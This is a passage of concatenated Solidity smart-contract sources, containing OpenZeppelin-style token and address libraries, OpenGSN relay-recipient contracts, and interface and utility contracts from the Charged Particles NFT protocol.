that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * @dev Taken from OpenZeppelin library * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "TokenInfo: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "TokenInfo: unable to send value, recipient may have reverted"); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0; import "@opengsn/gsn/contracts/BaseRelayRecipient.sol"; contract RelayRecipient is BaseRelayRecipient { function versionRecipient() external override view returns (string memory) { return "1.0.0-beta.1/charged-particles.relay.recipient"; } } // SPDX-License-Identifier: MIT // BlackholePrevention.sol -- Part of the Charged Particles Protocol // Copyright (c) 2021 Firma Lux, Inc. <https://charged.fi> // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in all // copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. pragma solidity >=0.6.0; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; /** * @notice Prevents ETH or Tokens from getting stuck in a contract by allowing * the Owner/DAO to pull them out on behalf of a user * This is only meant to contracts that are not expected to hold tokens, but do handle transferring them. */ contract BlackholePrevention { using Address for address payable; using SafeERC20 for IERC20; event WithdrawStuckEther(address indexed receiver, uint256 amount); event WithdrawStuckERC20(address indexed receiver, address indexed tokenAddress, uint256 amount); event WithdrawStuckERC721(address indexed receiver, address indexed tokenAddress, uint256 indexed tokenId); function _withdrawEther(address payable receiver, uint256 amount) internal virtual { require(receiver != address(0x0), "BHP:E-403"); if (address(this).balance >= amount) { receiver.sendValue(amount); emit WithdrawStuckEther(receiver, amount); } } function _withdrawERC20(address payable receiver, address tokenAddress, uint256 amount) internal virtual { require(receiver != address(0x0), "BHP:E-403"); if (IERC20(tokenAddress).balanceOf(address(this)) >= amount) { IERC20(tokenAddress).safeTransfer(receiver, amount); emit WithdrawStuckERC20(receiver, tokenAddress, amount); } } function _withdrawERC721(address payable receiver, address tokenAddress, uint256 tokenId) internal virtual { require(receiver != address(0x0), "BHP:E-403"); if (IERC721(tokenAddress).ownerOf(tokenId) == address(this)) { IERC721(tokenAddress).transferFrom(address(this), receiver, tokenId); emit WithdrawStuckERC721(receiver, tokenAddress, tokenId); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT // IChargedSettings.sol -- Part of the Charged Particles Protocol // Copyright (c) 2021 Firma Lux, Inc. <https://charged.fi> // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in all // copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. pragma solidity >=0.6.0; import "./IWalletManager.sol"; import "./IBasketManager.sol"; /** * @notice Interface for Charged Settings */ interface IChargedSettings { /***********************************| | Public API | |__________________________________*/ function isContractOwner(address contractAddress, address account) external view returns (bool); function getCreatorAnnuities(address contractAddress, uint256 tokenId) external view returns (address creator, uint256 annuityPct); function getCreatorAnnuitiesRedirect(address contractAddress, uint256 tokenId) external view returns (address); function getTempLockExpiryBlocks() external view returns (uint256); function getTimelockApprovals(address operator) external view returns (bool timelockAny, bool timelockOwn); function getAssetRequirements(address contractAddress, address assetToken) external view returns (string memory requiredWalletManager, bool energizeEnabled, bool restrictedAssets, bool validAsset, uint256 depositCap, uint256 depositMin, uint256 depositMax); function getNftAssetRequirements(address contractAddress, address nftTokenAddress) external view returns (string memory requiredBasketManager, bool basketEnabled, uint256 maxNfts); // ERC20 function isWalletManagerEnabled(string calldata walletManagerId) external view returns (bool); function getWalletManager(string calldata walletManagerId) external view returns (IWalletManager); // ERC721 function isNftBasketEnabled(string calldata basketId) external view returns (bool); function getBasketManager(string calldata basketId) external view returns (IBasketManager); /***********************************| | Only NFT Creator | |__________________________________*/ function setCreatorAnnuities(address contractAddress, uint256 tokenId, address creator, uint256 annuityPercent) external; function setCreatorAnnuitiesRedirect(address contractAddress, uint256 tokenId, address creator, address receiver) external; /***********************************| | Only NFT Contract Owner | |__________________________________*/ function setRequiredWalletManager(address contractAddress, string calldata walletManager) external; function setRequiredBasketManager(address contractAddress, string calldata basketManager) external; function setAssetTokenRestrictions(address contractAddress, bool restrictionsEnabled) external; function setAllowedAssetToken(address contractAddress, address assetToken, bool isAllowed) external; function setAssetTokenLimits(address contractAddress, address assetToken, uint256 depositMin, uint256 depositMax) external; function setMaxNfts(address contractAddress, address nftTokenAddress, uint256 maxNfts) external; /***********************************| | Only Admin/DAO | |__________________________________*/ function enableNftContracts(address[] calldata contracts) external; function setPermsForCharge(address contractAddress, bool state) external; function setPermsForBasket(address contractAddress, bool state) external; function setPermsForTimelockAny(address contractAddress, bool state) external; function setPermsForTimelockSelf(address contractAddress, bool state) external; /***********************************| | Particle Events | |__________________________________*/ event DepositCapSet(address assetToken, uint256 depositCap); event TempLockExpirySet(uint256 expiryBlocks); event WalletManagerRegistered(string indexed walletManagerId, address indexed walletManager); event BasketManagerRegistered(string indexed basketId, address indexed basketManager); event RequiredWalletManagerSet(address indexed contractAddress, string walletManager); event RequiredBasketManagerSet(address indexed contractAddress, string basketManager); event AssetTokenRestrictionsSet(address indexed contractAddress, bool restrictionsEnabled); event AllowedAssetTokenSet(address indexed contractAddress, address assetToken, bool isAllowed); event AssetTokenLimitsSet(address indexed contractAddress, address assetToken, uint256 assetDepositMin, uint256 assetDepositMax); event MaxNftsSet(address indexed contractAddress, address indexed nftTokenAddress, uint256 maxNfts); event TokenCreatorConfigsSet(address indexed contractAddress, uint256 indexed tokenId, address indexed creatorAddress, uint256 annuityPercent); event TokenCreatorAnnuitiesRedirected(address indexed contractAddress, uint256 indexed tokenId, address indexed redirectAddress); event PermsSetForCharge(address indexed contractAddress, bool state); event PermsSetForBasket(address indexed contractAddress, bool state); event PermsSetForTimelockAny(address indexed contractAddress, bool state); event PermsSetForTimelockSelf(address indexed contractAddress, bool state); } // SPDX-License-Identifier: MIT // IWalletManager.sol -- Part of the Charged Particles Protocol // Copyright (c) 2021 Firma Lux, Inc. <https://charged.fi> // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in all // copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. pragma solidity >=0.6.0; /** * @title Particle Wallet Manager interface * @dev The wallet-manager for underlying assets attached to Charged Particles * @dev Manages the link between NFTs and their respective Smart-Wallets */ interface IWalletManager { event ControllerSet(address indexed controller); event PausedStateSet(bool isPaused); event NewSmartWallet(address indexed contractAddress, uint256 indexed tokenId, address indexed smartWallet, address creator, uint256 annuityPct); event WalletEnergized(address indexed contractAddress, uint256 indexed tokenId, address indexed assetToken, uint256 assetAmount, uint256 yieldTokensAmount); event WalletDischarged(address indexed contractAddress, uint256 indexed tokenId, address indexed assetToken, uint256 creatorAmount, uint256 receiverAmount); event WalletDischargedForCreator(address indexed contractAddress, uint256 indexed tokenId, address indexed assetToken, address creator, uint256 receiverAmount); event WalletReleased(address indexed contractAddress, uint256 indexed tokenId, address indexed receiver, address assetToken, uint256 principalAmount, uint256 creatorAmount, uint256 receiverAmount); event WalletRewarded(address indexed contractAddress, uint256 indexed tokenId, address indexed receiver, address rewardsToken, uint256 rewardsAmount); function isPaused() external view returns (bool); function isReserveActive(address contractAddress, uint256 tokenId, address assetToken) external view returns (bool); function getReserveInterestToken(address contractAddress, uint256 tokenId, address assetToken) external view returns (address); function getTotal(address contractAddress, uint256 tokenId, address assetToken) external returns (uint256); function getPrincipal(address contractAddress, uint256 tokenId, address assetToken) external returns (uint256); function getInterest(address contractAddress, uint256 tokenId, address assetToken) external returns (uint256 creatorInterest, uint256 ownerInterest); function getRewards(address contractAddress, uint256 tokenId, address rewardToken) external returns (uint256); function energize(address contractAddress, uint256 tokenId, address assetToken, uint256 assetAmount) external returns (uint256 yieldTokensAmount); function discharge(address receiver, address contractAddress, uint256 tokenId, address assetToken, address creatorRedirect) external returns (uint256 creatorAmount, uint256 receiverAmount); function dischargeAmount(address receiver, address contractAddress, uint256 tokenId, address assetToken, uint256 assetAmount, address creatorRedirect) external returns (uint256 creatorAmount, uint256 receiverAmount); function dischargeAmountForCreator(address receiver, address contractAddress, uint256 tokenId, address creator, address assetToken, uint256 assetAmount) external returns (uint256 receiverAmount); function release(address receiver, address contractAddress, uint256 tokenId, address assetToken, address creatorRedirect) external returns (uint256 principalAmount, uint256 creatorAmount, uint256 receiverAmount); function releaseAmount(address receiver, address contractAddress, uint256 tokenId, address assetToken, uint256 assetAmount, address creatorRedirect) external returns (uint256 principalAmount, uint256 creatorAmount, uint256 receiverAmount); function withdrawRewards(address receiver, address contractAddress, uint256 tokenId, address rewardsToken, uint256 rewardsAmount) external returns (uint256 amount); function executeForAccount(address contractAddress, uint256 tokenId, address externalAddress, uint256 ethValue, bytes memory encodedParams) external returns (bytes memory); function getWalletAddressById(address contractAddress, uint256 tokenId, address creator, uint256 annuityPct) external returns (address); function withdrawEther(address contractAddress, uint256 tokenId, address payable receiver, uint256 amount) external; function withdrawERC20(address contractAddress, uint256 tokenId, address payable receiver, address tokenAddress, uint256 amount) external; function withdrawERC721(address contractAddress, uint256 tokenId, address payable receiver, address nftTokenAddress, uint256 nftTokenId) external; } // SPDX-License-Identifier: MIT // IBasketManager.sol -- Part of the Charged Particles Protocol // Copyright (c) 2021 Firma Lux, Inc. <https://charged.fi> // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in all // copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. pragma solidity >=0.6.0; /** * @title Particle Basket Manager interface * @dev The basket-manager for underlying assets attached to Charged Particles * @dev Manages the link between NFTs and their respective Smart-Baskets */ interface IBasketManager { event ControllerSet(address indexed controller); event PausedStateSet(bool isPaused); event NewSmartBasket(address indexed contractAddress, uint256 indexed tokenId, address indexed smartBasket); event BasketAdd(address indexed contractAddress, uint256 indexed tokenId, address basketTokenAddress, uint256 basketTokenId); event BasketRemove(address indexed receiver, address indexed contractAddress, uint256 indexed tokenId, address basketTokenAddress, uint256 basketTokenId); function isPaused() external view returns (bool); function getTokenTotalCount(address contractAddress, uint256 tokenId) external view returns (uint256); function getTokenCountByType(address contractAddress, uint256 tokenId, address basketTokenAddress, uint256 basketTokenId) external returns (uint256); function addToBasket(address contractAddress, uint256 tokenId, address basketTokenAddress, uint256 basketTokenId) external returns (bool); function removeFromBasket(address receiver, address contractAddress, uint256 tokenId, address basketTokenAddress, uint256 basketTokenId) external returns (bool); function executeForAccount(address contractAddress, uint256 tokenId, address externalAddress, uint256 ethValue, bytes memory encodedParams) external returns (bytes memory); function getBasketAddressById(address contractAddress, uint256 tokenId) external returns (address); function withdrawEther(address contractAddress, uint256 tokenId, address payable receiver, uint256 amount) external; function withdrawERC20(address contractAddress, uint256 tokenId, address payable receiver, address tokenAddress, uint256 amount) external; function withdrawERC721(address contractAddress, uint256 tokenId, address payable receiver, address nftTokenAddress, uint256 nftTokenId) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // IERC721Chargeable.sol -- Part of the Charged Particles Protocol // Copyright (c) 2021 Firma Lux, Inc. <https://charged.fi> // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in all // copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. pragma solidity >=0.6.0; import "@openzeppelin/contracts-upgradeable/introspection/IERC165Upgradeable.sol"; interface IERC721Chargeable is IERC165Upgradeable { function owner() external view returns (address); function creatorOf(uint256 tokenId) external view returns (address); function balanceOf(address tokenOwner) external view returns (uint256 balance); function ownerOf(uint256 tokenId) external view returns (address tokenOwner); function safeTransferFrom(address from, address to, uint256 tokenId) external; function transferFrom(address from, address to, uint256 tokenId) external; function approve(address to, uint256 tokenId) external; function getApproved(uint256 tokenId) external view returns (address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address tokenOwner, address operator) external view returns (bool); function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier:MIT // solhint-disable no-inline-assembly pragma solidity ^0.6.2; import "./interfaces/IRelayRecipient.sol"; /** * A base contract to be inherited by any contract that want to receive relayed transactions * A subclass must use "_msgSender()" instead of "msg.sender" */ abstract contract BaseRelayRecipient is IRelayRecipient { /* * Forwarder singleton we accept calls from */ address public trustedForwarder; function isTrustedForwarder(address forwarder) public override view returns(bool) { return forwarder == trustedForwarder; } /** * return the sender of this call. * if the call came through our trusted forwarder, return the original sender. * otherwise, return `msg.sender`. * should be used in the contract anywhere instead of msg.sender */ function _msgSender() internal override virtual view returns (address payable ret) { if (msg.data.length >= 24 && isTrustedForwarder(msg.sender)) { // At this point we know that the sender is a trusted forwarder, // so we trust that the last bytes of msg.data are the verified sender address. // extract sender address from the end of msg.data assembly { ret := shr(96,calldataload(sub(calldatasize(),20))) } } else { return msg.sender; } } /** * return the msg.data of this call. * if the call came through our trusted forwarder, then the real sender was appended as the last 20 bytes * of the msg.data - so this method will strip those 20 bytes off. * otherwise, return `msg.data` * should be used in the contract instead of msg.data, where the difference matters (e.g. when explicitly * signing or hashing the */ function _msgData() internal override virtual view returns (bytes memory ret) { if (msg.data.length >= 24 && isTrustedForwarder(msg.sender)) { // At this point we know that the sender is a trusted forwarder, // we copy the msg.data , except the last 20 bytes (and update the total length) assembly { let ptr := mload(0x40) // copy only size-20 bytes let size := sub(calldatasize(),20) // structure RLP data as <offset> <length> <bytes> mstore(ptr, 0x20) mstore(add(ptr,32), size) calldatacopy(add(ptr,64), 0, size) return(ptr, add(size,64)) } } else { return msg.data; } } } // SPDX-License-Identifier:MIT pragma solidity ^0.6.2; /** * a contract must implement this interface in order to support relayed transaction. * It is better to inherit the BaseRelayRecipient as its implementation. */ abstract contract IRelayRecipient { /** * return if the forwarder is trusted to forward relayed transactions to us. * the forwarder is required to verify the sender's signature, and verify * the call is not a replay. */ function isTrustedForwarder(address forwarder) public virtual view returns(bool); /** * return the sender of this call. * if the call came through our trusted forwarder, then the real sender is appended as the last 20 bytes * of the msg.data. * otherwise, return `msg.sender` * should be used in the contract anywhere instead of msg.sender */ function _msgSender() internal virtual view returns (address payable); /** * return the msg.data of this call. * if the call came through our trusted forwarder, then the real sender was appended as the last 20 bytes * of the msg.data - so this method will strip those 20 bytes off. * otherwise, return `msg.data` * should be used in the contract instead of msg.data, where the difference matters (e.g. when explicitly * signing or hashing the */ function _msgData() internal virtual view returns (bytes memory); function versionRecipient() external virtual view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, 